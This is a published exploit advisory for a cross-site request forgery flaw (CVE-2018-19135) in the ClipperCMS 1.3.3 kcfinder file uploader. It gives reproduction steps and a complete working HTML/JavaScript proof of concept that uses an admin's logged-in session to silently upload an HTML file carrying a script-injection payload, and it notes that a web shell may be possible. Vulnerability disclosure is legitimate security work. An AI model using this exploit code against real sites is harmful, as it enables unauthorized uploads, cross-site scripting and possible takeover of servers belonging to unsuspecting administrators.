ClipperCMS 1.3.3 – Cross-Site Request Forgery (File Upload)
# Exploit Title: ClipperCMS 1.3.3 File Upload CSRF Vulnerability # Date: 2018-11-11 # Exploit Author: Ameer Pornillos # Website: http://ethicalhackers.club # Vendor Homepage: http://www.clippercms.com/ # Software Link: https://github.com/ClipperCMS/ClipperCMS/releases/tag/clipper_1.3.3 # Version: 1.3.3 # Tested on: Windows 10 x64 (XAMPP, Firefox) # CVE : CVE-2018-19135 * Description: ClipperCMS 1.3.3 does not have CSRF protection on its kcfinder file upload which is being used by default. This can be used by an attacker to perform actions for an admin (or any user with file upload capability). With this vulnerability, it can automatically upload file/s (by default it allows aac,au,avi,css,cache,doc,docx,gz,gzip,htm,html,js,mp3,mp4,mpeg,mpg,ods,odp,odt,pdf,ppt,pptx,rar,tar,tgz,txt,wav,wmv,xls,xlsx,xml,z,zip as file types). Note that web shell that can be used for remote code execution can be achieved depending on the file types being accepted. Uploaded file can be accessed publicly on the "/assets/files" directory (e.g. uploaded a malicious html file with filename: poc.html file => http://<clipperwebsite>/clipper/assets/files/poc.html). This can lead for the website to be host unintended file/s. *Steps to reproduce: Admin (or user with file upload capability) logged in ClipperCMS 1.3.3 -> browse/open a controlled website (e.g. by link or open PoC below in a browser where admin/user logged in to ClipperCMS 1.3.3) with the poc below -> file is uploaded and can be accessed on http:// <clipperwebsite>/clipper/assets/files/poc.html *Proof of Concept: PoC below will automatically upload a "poc.html" file with simple XSS payload. Steps above are how to make use of the PoC. <html> <!-- CSRF Auto Upload File ClipperCMS PoC --> <body> <script> var xhr = new XMLHttpRequest(); xhr.open("POST", "http:\/\/clipperwebsite\/clipper\/manager\/media\/browser\/kcfinder\/browse.php?type=files&lng=en&act=upload", true); xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8"); xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5"); xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------167248871811044278431417596280"); xhr.withCredentials = true; var body = "-----------------------------167248871811044278431417596280\r\n" + "Content-Disposition: form-data; name=\"upload[]\"; filename=\"poc.html\"\r\n" + "Content-Type: text/html\r\n" + "\r\n" + "\x3cscript\x3ealert(\'XSS\')\x3c/script\x3e\n" + "\r\n" + "-----------------------------167248871811044278431417596280\r\n" + "Content-Disposition: form-data; name=\"dir\"\r\n" + "\r\n" + "files\r\n" + "-----------------------------167248871811044278431417596280--\r\n"; var aBody = new Uint8Array(body.length); for (var i = 0; i < aBody.length; i++) aBody[i] = body.charCodeAt(i); xhr.send(new Blob([aBody])); </script> </body> </html> *Proof of Concept Demo: Actual video demo of the vulnerability being exploited is available on: https://youtu.be/bEYqb99MdYs *Reference: https://github.com/ClipperCMS/ClipperCMS/issues/494 |